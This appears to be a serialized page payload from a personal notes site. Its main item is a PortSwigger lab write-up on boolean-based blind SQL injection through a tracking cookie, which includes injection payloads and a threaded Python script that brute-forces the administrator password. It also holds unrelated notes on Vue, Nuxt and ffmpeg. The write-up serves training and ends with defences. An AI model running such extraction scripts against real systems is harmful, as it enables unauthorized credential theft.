[{"data":1,"prerenderedAt":1234},["ShallowReactive",2],{"page-en-\u002Fnotes\u002Fdevops":3,"recent-en":30,"posts-en-devops":1148},{"id":4,"title":5,"author":6,"body":7,"date":6,"description":17,"extension":22,"image":6,"meta":23,"navigation":24,"path":25,"seo":26,"sitemap":27,"stem":28,"tags":6,"__hash__":29},"content_en\u002Fnotes\u002Fdevops\u002Findex.md","DevOps",null,{"type":8,"value":9,"toc":18},"minimark",[10,14],[11,12,5],"h1",{"id":13},"devops",[15,16,17],"p",{},"Shell scripts, tools and automation notes.",{"title":19,"searchDepth":20,"depth":20,"links":21},"",2,[],"md",{},true,"\u002Fnotes\u002Fdevops",{"title":5,"description":17},{"loc":25},"notes\u002Fdevops\u002Findex","zsqvFKY2vclIoa85ksQ292y953aeEQqzzB9uOHBX3fY",[31,667,969,1020],{"id":32,"title":33,"author":34,"body":35,"date":654,"description":655,"extension":22,"image":6,"meta":656,"navigation":24,"path":657,"seo":658,"sitemap":659,"stem":660,"tags":661,"__hash__":666},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Blind SQL Injection with Conditional Responses (PortSwigger Lab)","apsyleg",{"type":8,"value":36,"toc":643},[37,41,46,53,73,77,103,107,114,117,126,133,136,174,177,181,186,193,202,213,217,223,238,241,245,252,593,599,610,614,617,622,639],[11,38,40],{"id":39},"blind-sql-injection-with-conditional-responses","Blind SQL Injection with Conditional Responses",[42,43,45],"h2",{"id":44},"vulnerability","Vulnerability",[15,47,48,52],{},[49,50,51],"strong",{},"Blind SQL injection"," is a class of SQL injection where the application does not return query results or error messages in the HTTP response. Instead, the attacker infers information by observing differences in application behavior — such as whether a particular message appears, or whether the response takes longer.",[15,54,55,56,59,60,64,65,68,69,72],{},"In this variant (",[49,57,58],{},"boolean-based blind SQLi","), the application returns different content depending on whether the injected condition evaluates to ",[61,62,63],"code",{},"TRUE"," or ",[61,66,67],{},"FALSE",". By crafting conditions like ",[61,70,71],{},"SUBSTRING(password, 1, 1) = 'a'",", an attacker can extract data one character at a time.",[42,74,76],{"id":75},"lab","Lab",[15,78,79,82,83,90,93,96,97,99,102],{},[49,80,81],{},"Name:"," ",[84,85,89],"a",{"href":86,"rel":87},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[88],"nofollow","Blind SQL injection with conditional responses",[91,92],"br",{},[49,94,95],{},"Difficulty:"," Practitioner",[91,98],{},[49,100,101],{},"Goal:"," Exploit a blind SQL injection vulnerability in a tracking cookie to extract the administrator's password and log in.",[42,104,106],{"id":105},"reconnaissance","Reconnaissance",[15,108,109,110,113],{},"The application stores a ",[61,111,112],{},"TrackingId"," cookie that is used in an SQL query. The query result is never displayed, but a \"Welcome back!\" message appears on the page when the query returns at least one row.",[15,115,116],{},"First, we confirm the injection point by appending a quote:",[118,119,124],"pre",{"className":120,"code":122,"language":123},[121],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[61,125,122],{"__ignoreMap":19},[15,127,128,129,132],{},"The \"Welcome back!\" message still appears — the comment ",[61,130,131],{},"--"," neutralizes the rest of the original query, so the injection is active.",[15,134,135],{},"Next, we verify boolean behavior:",[118,137,141],{"className":138,"code":139,"language":140,"meta":19,"style":19},"language-sql shiki shiki-themes github-light github-dark","-- TRUE condition → \"Welcome back!\" appears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- FALSE condition → \"Welcome back!\" disappears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[61,142,143,151,156,162,168],{"__ignoreMap":19},[144,145,148],"span",{"class":146,"line":147},"line",1,[144,149,150],{},"-- TRUE condition → \"Welcome back!\" appears\n",[144,152,153],{"class":146,"line":20},[144,154,155],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[144,157,159],{"class":146,"line":158},3,[144,160,161],{"emptyLinePlaceholder":24},"\n",[144,163,165],{"class":146,"line":164},4,[144,166,167],{},"-- FALSE condition → \"Welcome back!\" disappears\n",[144,169,171],{"class":146,"line":170},5,[144,172,173],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[15,175,176],{},"We now have a reliable oracle: if the injected condition is true, the message appears; if false, it does not. This is enough to extract any data from the database bit by bit.",[42,178,180],{"id":179},"exploitation","Exploitation",[182,183,185],"h3",{"id":184},"step-1-determine-password-length","Step 1 — Determine password length",[15,187,188,189,192],{},"We use ",[61,190,191],{},"LENGTH()"," to find how many characters the administrator's password has:",[118,194,196],{"className":138,"code":195,"language":140,"meta":19,"style":19},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[61,197,198],{"__ignoreMap":19},[144,199,200],{"class":146,"line":147},[144,201,195],{},[15,203,204,205,208,209,212],{},"\"Welcome back!\" appears at ",[61,206,207],{},"= 20"," — the password is ",[49,210,211],{},"20 characters long",".",[182,214,216],{"id":215},"step-2-extract-characters","Step 2 — Extract characters",[15,218,188,219,222],{},[61,220,221],{},"SUBSTRING(string, position, length)"," to test one character at a time:",[118,224,226],{"className":138,"code":225,"language":140,"meta":19,"style":19},"-- Is the 1st character 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[61,227,228,233],{"__ignoreMap":19},[144,229,230],{"class":146,"line":147},[144,231,232],{},"-- Is the 1st character 'w'?\n",[144,234,235],{"class":146,"line":20},[144,236,237],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[15,239,240],{},"Doing this manually for 20 characters × 36 possible values (a–z + 0–9) would take hundreds of requests. We automate it with a Python script.",[182,242,244],{"id":243},"step-3-automate-with-python","Step 3 — Automate with Python",[15,246,247,248,251],{},"The script uses ",[61,249,250],{},"ThreadPoolExecutor"," to run 10 requests in parallel, dramatically reducing extraction time:",[118,253,257],{"className":254,"code":255,"language":256,"meta":19,"style":19},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Determining password length...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Password length: {n}\")\n            return n\n    raise ValueError(f\"Password length not found within {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Password: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[61,258,259,264,269,274,278,283,289,295,301,306,312,318,324,329,334,340,346,352,358,364,369,374,380,386,392,398,404,410,416,422,427,432,438,444,450,455,461,467,472,477,483,489,495,501,507,513,519,525,531,537,542,547,553,559,565,571,576,581,587],{"__ignoreMap":19},[144,260,261],{"class":146,"line":147},[144,262,263],{},"import requests\n",[144,265,266],{"class":146,"line":20},[144,267,268],{},"import string\n",[144,270,271],{"class":146,"line":158},[144,272,273],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[144,275,276],{"class":146,"line":164},[144,277,161],{"emptyLinePlaceholder":24},[144,279,280],{"class":146,"line":170},[144,281,282],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[144,284,286],{"class":146,"line":285},6,[144,287,288],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[144,290,292],{"class":146,"line":291},7,[144,293,294],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[144,296,298],{"class":146,"line":297},8,[144,299,300],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[144,302,304],{"class":146,"line":303},9,[144,305,161],{"emptyLinePlaceholder":24},[144,307,309],{"class":146,"line":308},10,[144,310,311],{},"CHARSET = string.ascii_lowercase + string.digits\n",[144,313,315],{"class":146,"line":314},11,[144,316,317],{},"MAX_LENGTH = 30\n",[144,319,321],{"class":146,"line":320},12,[144,322,323],{},"THREADS = 10\n",[144,325,327],{"class":146,"line":326},13,[144,328,161],{"emptyLinePlaceholder":24},[144,330,332],{"class":146,"line":331},14,[144,333,161],{"emptyLinePlaceholder":24},[144,335,337],{"class":146,"line":336},15,[144,338,339],{},"def check(sql_condition: str) -> bool:\n",[144,341,343],{"class":146,"line":342},16,[144,344,345],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[144,347,349],{"class":146,"line":348},17,[144,350,351],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[144,353,355],{"class":146,"line":354},18,[144,356,357],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[144,359,361],{"class":146,"line":360},19,[144,362,363],{},"    return \"Welcome back\" in r.text\n",[144,365,367],{"class":146,"line":366},20,[144,368,161],{"emptyLinePlaceholder":24},[144,370,372],{"class":146,"line":371},21,[144,373,161],{"emptyLinePlaceholder":24},[144,375,377],{"class":146,"line":376},22,[144,378,379],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[144,381,383],{"class":146,"line":382},23,[144,384,385],{},"    print(\"[*] Determining password length...\")\n",[144,387,389],{"class":146,"line":388},24,[144,390,391],{},"    for n in range(1, max_len + 1):\n",[144,393,395],{"class":146,"line":394},25,[144,396,397],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[144,399,401],{"class":146,"line":400},26,[144,402,403],{},"        if check(condition):\n",[144,405,407],{"class":146,"line":406},27,[144,408,409],{},"            print(f\"[+] Password length: {n}\")\n",[144,411,413],{"class":146,"line":412},28,[144,414,415],{},"            return n\n",[144,417,419],{"class":146,"line":418},29,[144,420,421],{},"    raise ValueError(f\"Password length not found within {max_len}\")\n",[144,423,425],{"class":146,"line":424},30,[144,426,161],{"emptyLinePlaceholder":24},[144,428,430],{"class":146,"line":429},31,[144,431,161],{"emptyLinePlaceholder":24},[144,433,435],{"class":146,"line":434},32,[144,436,437],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[144,439,441],{"class":146,"line":440},33,[144,442,443],{},"    for c in CHARSET:\n",[144,445,447],{"class":146,"line":446},34,[144,448,449],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[144,451,453],{"class":146,"line":452},35,[144,454,403],{},[144,456,458],{"class":146,"line":457},36,[144,459,460],{},"            return pos, c\n",[144,462,464],{"class":146,"line":463},37,[144,465,466],{},"    return pos, \"?\"\n",[144,468,470],{"class":146,"line":469},38,[144,471,161],{"emptyLinePlaceholder":24},[144,473,475],{"class":146,"line":474},39,[144,476,161],{"emptyLinePlaceholder":24},[144,478,480],{"class":146,"line":479},40,[144,481,482],{},"def get_password(length: int) -> str:\n",[144,484,486],{"class":146,"line":485},41,[144,487,488],{},"    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n",[144,490,492],{"class":146,"line":491},42,[144,493,494],{},"    password = [\"?\"] * length\n",[144,496,498],{"class":146,"line":497},43,[144,499,500],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[144,502,504],{"class":146,"line":503},44,[144,505,506],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[144,508,510],{"class":146,"line":509},45,[144,511,512],{},"        for future in as_completed(futures):\n",[144,514,516],{"class":146,"line":515},46,[144,517,518],{},"            pos, char = future.result()\n",[144,520,522],{"class":146,"line":521},47,[144,523,524],{},"            password[pos - 1] = char\n",[144,526,528],{"class":146,"line":527},48,[144,529,530],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[144,532,534],{"class":146,"line":533},49,[144,535,536],{},"    return \"\".join(password)\n",[144,538,540],{"class":146,"line":539},50,[144,541,161],{"emptyLinePlaceholder":24},[144,543,545],{"class":146,"line":544},51,[144,546,161],{"emptyLinePlaceholder":24},[144,548,550],{"class":146,"line":549},52,[144,551,552],{},"def main():\n",[144,554,556],{"class":146,"line":555},53,[144,557,558],{},"    length = get_password_length()\n",[144,560,562],{"class":146,"line":561},54,[144,563,564],{},"    password = get_password(length)\n",[144,566,568],{"class":146,"line":567},55,[144,569,570],{},"    print(f\"\\n[+] Password: {password}\")\n",[144,572,574],{"class":146,"line":573},56,[144,575,161],{"emptyLinePlaceholder":24},[144,577,579],{"class":146,"line":578},57,[144,580,161],{"emptyLinePlaceholder":24},[144,582,584],{"class":146,"line":583},58,[144,585,586],{},"if __name__ == \"__main__\":\n",[144,588,590],{"class":146,"line":589},59,[144,591,592],{},"    main()\n",[15,594,595,596],{},"Result: ",[61,597,598],{},"wfa3n32o7a6mb4xon7d6",[15,600,601,602,605,606,609],{},"Log in to ",[61,603,604],{},"\u002Fmy-account"," as ",[61,607,608],{},"administrator"," with this password — lab solved.",[42,611,613],{"id":612},"conclusion","Conclusion",[15,615,616],{},"Blind SQL injection is more subtle than classic SQLi but equally dangerous. Even without any output, a single boolean signal (message present \u002F absent) is enough to extract the entire database.",[15,618,619],{},[49,620,621],{},"How to defend:",[623,624,625,629,632],"ul",{},[626,627,628],"li",{},"Use parameterized queries (prepared statements) — they eliminate injection entirely",[626,630,631],{},"Never concatenate user input directly into SQL strings",[626,633,634,635,638],{},"Apply least privilege to database accounts — the web app user should not have access to the ",[61,636,637],{},"users"," table",[640,641,642],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":19,"searchDepth":20,"depth":20,"links":644},[645,646,647,648,653],{"id":44,"depth":20,"text":45},{"id":75,"depth":20,"text":76},{"id":105,"depth":20,"text":106},{"id":179,"depth":20,"text":180,"children":649},[650,651,652],{"id":184,"depth":158,"text":185},{"id":215,"depth":158,"text":216},{"id":243,"depth":158,"text":244},{"id":612,"depth":20,"text":613},"2026-03-28","How to exploit blind SQL injection via a tracking cookie using boolean-based inference and a multithreaded Python script.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":33,"description":655},{"loc":657},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[662,663,664,665],"portswigger","sql-injection","blind-sqli","web-security","xjqLMT0ON2Iphb3NwOgTkgmjGcHATsLRPcyMBeD0IF4",{"id":668,"title":669,"author":670,"body":671,"date":958,"description":959,"extension":22,"image":6,"meta":960,"navigation":24,"path":961,"seo":962,"sitemap":963,"stem":964,"tags":965,"__hash__":968},"content_en\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Creating component state like Options API using reactive()","Oleg Anuchin",{"type":8,"value":672,"toc":956},[673,676,686,697,953],[11,674,669],{"id":675},"creating-component-state-like-options-api-using-reactive",[15,677,678,679,682,683,212],{},"In Options API we can use ",[61,680,681],{},"data()"," function to create a state for the component, then access it directly via ",[61,684,685],{},"this",[15,687,688,689,692,693,696],{},"Using ",[61,690,691],{},"reactive()"," from Composition API achieves the same pattern — much easier than using ",[61,694,695],{},"ref()"," for multiple state properties.",[118,698,702],{"className":699,"code":700,"language":701,"meta":19,"style":19},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Price: {{ price }}\u003C\u002Fp>\n  \u003Cp>Quantity: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Total: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[61,703,704,717,733,737,748,757,775,786,794,799,803,823,837,841,845,852,863,868,873,878,883,892,896,905,919,932,945],{"__ignoreMap":19},[144,705,706,710,714],{"class":146,"line":147},[144,707,709],{"class":708},"sVt8B","\u003C",[144,711,713],{"class":712},"s9eBZ","script",[144,715,716],{"class":708},">\n",[144,718,719,723,726,729],{"class":146,"line":20},[144,720,722],{"class":721},"szBVR","import",[144,724,725],{"class":708}," { computed, reactive, toRefs } ",[144,727,728],{"class":721},"from",[144,730,732],{"class":731},"sZZnC"," 'vue'\n",[144,734,735],{"class":146,"line":158},[144,736,161],{"emptyLinePlaceholder":24},[144,738,739,742,745],{"class":146,"line":164},[144,740,741],{"class":721},"export",[144,743,744],{"class":721}," default",[144,746,747],{"class":708}," {\n",[144,749,750,754],{"class":146,"line":170},[144,751,753],{"class":752},"sScJk","  setup",[144,755,756],{"class":708},"() {\n",[144,758,759,762,766,769,772],{"class":146,"line":285},[144,760,761],{"class":721},"    const",[144,763,765],{"class":764},"sj4cs"," state",[144,767,768],{"class":721}," =",[144,770,771],{"class":752}," reactive",[144,773,774],{"class":708},"({\n",[144,776,777,780,783],{"class":146,"line":291},[144,778,779],{"class":708},"      price: ",[144,781,782],{"class":764},"2",[144,784,785],{"class":708},",\n",[144,787,788,791],{"class":146,"line":297},[144,789,790],{"class":708},"      quantity: ",[144,792,793],{"class":764},"5\n",[144,795,796],{"class":146,"line":303},[144,797,798],{"class":708},"    })\n",[144,800,801],{"class":146,"line":308},[144,802,161],{"emptyLinePlaceholder":24},[144,804,805,807,810,812,815,818,821],{"class":146,"line":314},[144,806,761],{"class":721},[144,808,809],{"class":764}," total",[144,811,768],{"class":721},[144,813,814],{"class":752}," computed",[144,816,817],{"class":708},"(() ",[144,819,820],{"class":721},"=>",[144,822,747],{"class":708},[144,824,825,828,831,834],{"class":146,"line":320},[144,826,827],{"class":721},"      return",[144,829,830],{"class":708}," state.price ",[144,832,833],{"class":721},"*",[144,835,836],{"class":708}," state.quantity\n",[144,838,839],{"class":146,"line":326},[144,840,798],{"class":708},[144,842,843],{"class":146,"line":331},[144,844,161],{"emptyLinePlaceholder":24},[144,846,847,850],{"class":146,"line":336},[144,848,849],{"class":721},"    return",[144,851,747],{"class":708},[144,853,854,857,860],{"class":146,"line":342},[144,855,856],{"class":721},"      ...",[144,858,859],{"class":752},"toRefs",[144,861,862],{"class":708},"(state),\n",[144,864,865],{"class":146,"line":348},[144,866,867],{"class":708},"      total\n",[144,869,870],{"class":146,"line":354},[144,871,872],{"class":708},"    }\n",[144,874,875],{"class":146,"line":360},[144,876,877],{"class":708},"  }\n",[144,879,880],{"class":146,"line":366},[144,881,882],{"class":708},"}\n",[144,884,885,888,890],{"class":146,"line":371},[144,886,887],{"class":708},"\u003C\u002F",[144,889,713],{"class":712},[144,891,716],{"class":708},[144,893,894],{"class":146,"line":376},[144,895,161],{"emptyLinePlaceholder":24},[144,897,898,900,903],{"class":146,"line":382},[144,899,709],{"class":708},[144,901,902],{"class":712},"template",[144,904,716],{"class":708},[144,906,907,910,912,915,917],{"class":146,"line":388},[144,908,909],{"class":708},"  \u003C",[144,911,15],{"class":712},[144,913,914],{"class":708},">Price: {{ price }}\u003C\u002F",[144,916,15],{"class":712},[144,918,716],{"class":708},[144,920,921,923,925,928,930],{"class":146,"line":394},[144,922,909],{"class":708},[144,924,15],{"class":712},[144,926,927],{"class":708},">Quantity: {{ quantity }}\u003C\u002F",[144,929,15],{"class":712},[144,931,716],{"class":708},[144,933,934,936,938,941,943],{"class":146,"line":400},[144,935,909],{"class":708},[144,937,15],{"class":712},[144,939,940],{"class":708},">Total: {{ total }}\u003C\u002F",[144,942,15],{"class":712},[144,944,716],{"class":708},[144,946,947,949,951],{"class":146,"line":406},[144,948,887],{"class":708},[144,950,902],{"class":712},[144,952,716],{"class":708},[640,954,955],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":19,"searchDepth":20,"depth":20,"links":957},[],"2022-08-20","How to use reactive() in Vue 3 Composition API to create component state similar to Options API data()",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":669,"description":959},{"loc":961},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[701,966,967],"composition-api","reactive","96O7U6Y83TlYNqqAf521cyGpqClhv0qB2l1dmJtT0pw",{"id":970,"title":971,"author":670,"body":972,"date":1009,"description":1010,"extension":22,"image":6,"meta":1011,"navigation":24,"path":1012,"seo":1013,"sitemap":1014,"stem":1015,"tags":1016,"__hash__":1019},"content_en\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","How to upgrade Nuxt 3 project",{"type":8,"value":973,"toc":1007},[974,977,995,998,1004],[11,975,971],{"id":976},"how-to-upgrade-nuxt-3-project",[118,978,982],{"className":979,"code":980,"language":981,"meta":19,"style":19},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash",[61,983,984],{"__ignoreMap":19},[144,985,986,989,992],{"class":146,"line":147},[144,987,988],{"class":752},"yarn",[144,990,991],{"class":731}," nuxi",[144,993,994],{"class":731}," upgrade\n",[15,996,997],{},"Example output:",[118,999,1002],{"className":1000,"code":1001,"language":123},[121],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[61,1003,1001],{"__ignoreMap":19},[640,1005,1006],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":19,"searchDepth":20,"depth":20,"links":1008},[],"2022-08-15","Simple command to upgrade Nuxt 3 to the latest version",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":971,"description":1010},{"loc":1012},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1017,701,1018],"nuxt","cli","dM5MoKBMK4iO3YLcsO41-7FRCbfQBNHrd0MQxnAIkWM",{"id":1021,"title":1022,"author":670,"body":1023,"date":1136,"description":1137,"extension":22,"image":6,"meta":1138,"navigation":24,"path":1139,"seo":1140,"sitemap":1141,"stem":1142,"tags":1143,"__hash__":1147},"content_en\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Batch converting FLAC to AIFF using ffmpeg",{"type":8,"value":1024,"toc":1134},[1025,1028,1031,1047,1058,1131],[11,1026,1022],{"id":1027},"batch-converting-flac-to-aiff-using-ffmpeg",[15,1029,1030],{},"You need ffmpeg to be installed. For macOS:",[118,1032,1034],{"className":979,"code":1033,"language":981,"meta":19,"style":19},"brew install ffmpeg\n",[61,1035,1036],{"__ignoreMap":19},[144,1037,1038,1041,1044],{"class":146,"line":147},[144,1039,1040],{"class":752},"brew",[144,1042,1043],{"class":731}," install",[144,1045,1046],{"class":731}," ffmpeg\n",[15,1048,1049,1050,1053,1054,1057],{},"This command will convert all ",[61,1051,1052],{},"*.flac"," files to ",[61,1055,1056],{},"*.aiff",":",[118,1059,1061],{"className":979,"code":1060,"language":981,"meta":19,"style":19},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[61,1062,1063],{"__ignoreMap":19},[144,1064,1065,1068,1071,1074,1077,1080,1083,1086,1089,1092,1095,1098,1101,1104,1107,1110,1113,1116,1119,1121,1123,1126,1128],{"class":146,"line":147},[144,1066,1067],{"class":721},"for",[144,1069,1070],{"class":708}," i ",[144,1072,1073],{"class":721},"in",[144,1075,1076],{"class":731}," *.flac",[144,1078,1079],{"class":708},"; ",[144,1081,1082],{"class":721},"do",[144,1084,1085],{"class":752}," ffmpeg",[144,1087,1088],{"class":764}," -i",[144,1090,1091],{"class":731}," \"",[144,1093,1094],{"class":708},"$i",[144,1096,1097],{"class":731},"\"",[144,1099,1100],{"class":764}," -write_id3v2",[144,1102,1103],{"class":764}," 1",[144,1105,1106],{"class":764}," -c:v",[144,1108,1109],{"class":731}," copy",[144,1111,1112],{"class":731}," \"${",[144,1114,1115],{"class":708},"i",[144,1117,1118],{"class":721},"%",[144,1120,212],{"class":731},[144,1122,833],{"class":721},[144,1124,1125],{"class":731},"}.aiff\"",[144,1127,1079],{"class":708},[144,1129,1130],{"class":721},"done\n",[640,1132,1133],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki 